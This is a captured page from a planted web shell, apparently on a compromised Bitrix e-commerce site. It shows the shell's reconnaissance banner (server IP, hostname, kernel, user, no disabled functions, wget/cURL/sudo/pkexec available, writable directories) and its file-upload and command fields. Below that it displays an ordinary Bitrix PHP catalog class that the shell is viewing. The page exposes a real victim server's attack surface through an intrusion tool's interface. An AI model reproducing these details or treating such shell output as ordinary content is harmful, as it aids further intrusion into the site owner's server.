403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/general/catalog_load.php
<?php

class CAllCatalogLoad
{
	function GetList($arOrder=Array("LAST_USED"=>"DESC"), $arFilter=Array())
	{
		global $DB;
		$arSqlSearch = Array();

		if(!is_array($arFilter))
			$filter_keys = Array();
		else
			$filter_keys = array_keys($arFilter);

		for ($i = 0, $max = count($filter_keys); $i < $max; $i++)
		{
			$val = $DB->ForSql($arFilter[$filter_keys[$i]]);
			if ($val == '') continue;

			$key = $filter_keys[$i];
			if ($key[0]=="!")
			{
				$key = mb_substr($key, 1);
				$bInvert = true;
			}
			else
				$bInvert = false;

			switch(mb_strtoupper($key))
			{
				case "NAME":
					$arSqlSearch[] = "CL.NAME ".($bInvert? "<>" : "=")." '".$val."'";
					break;
				case "TYPE":
					$arSqlSearch[] = "CL.TYPE ".($bInvert? "<>" : "=")." '".$val."'";
					break;
			}
		}

		$strSqlSearch = "";
		for ($i = 0, $max = count($arSqlSearch); $i < $max; $i++)
		{
			$strSqlSearch .= " AND ";
			$strSqlSearch .= " (".$arSqlSearch[$i].") ";
		}

		$strSql =
			"SELECT CL.NAME, CL.VALUE, CL.TYPE, CL.LAST_USED ".
			"FROM b_catalog_load CL ".
			"WHERE 1 = 1 ".
			"	".$strSqlSearch." ";

		$arSqlOrder = Array();
		foreach ($arOrder as $by=>$order)
		{
			$by = mb_strtoupper($by);
			$order = mb_strtoupper($order);
			if ($order!="ASC") $order = "DESC";

			if ($by == "NAME") $arSqlOrder[] = " CL.NAME ".$order." ";
			elseif ($by == "TYPE") $arSqlOrder[] = " CL.TYPE ".$order." ";
			else
			{
				$arSqlOrder[] = " CL.LAST_USED ".$order." ";
				$by = "LAST_USED";
			}
		}

		$strSqlOrder = "";
		DelDuplicateSort($arSqlOrder);
		for ($i = 0, $max = count($arSqlOrder); $i < $max; $i++)
		{
			if ($i==0)
				$strSqlOrder = " ORDER BY ";
			else
				$strSqlOrder .= ", ";

			$strSqlOrder .= $arSqlOrder[$i];
		}

		$strSql .= $strSqlOrder;

		return $DB->Query($strSql);
	}

	function Add($arFields)
	{
		global $DB;

		if ($arFields["TYPE"]!="E") $arFields["TYPE"] = "I";

		$arInsert = $DB->PrepareInsert("b_catalog_load", $arFields);

		$strSql =
			"INSERT INTO b_catalog_load(".$arInsert[0].") ".
			"VALUES(".$arInsert[1].")";
		$DB->Query($strSql);

		return true;
	}

	function Delete($ID)
	{
		global $DB;
		return $DB->Query("DELETE FROM b_catalog_load WHERE NAME = '".intval($ID)."' ", true);
	}

	function SetLastUsed($NAME, $TYPE)
	{
		global $DB;

		$DB->Query(
			"UPDATE b_catalog_load SET ".
			"	LAST_USED = 'N' ".
			"WHERE TYPE = '".$DB->ForSql($TYPE)."'");

		$DB->Query(
			"UPDATE b_catalog_load SET ".
			"	LAST_USED = 'Y' ".
			"WHERE NAME = '".$DB->ForSql($NAME)."' ".
			"	AND TYPE = '".$DB->ForSql($TYPE)."'");

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit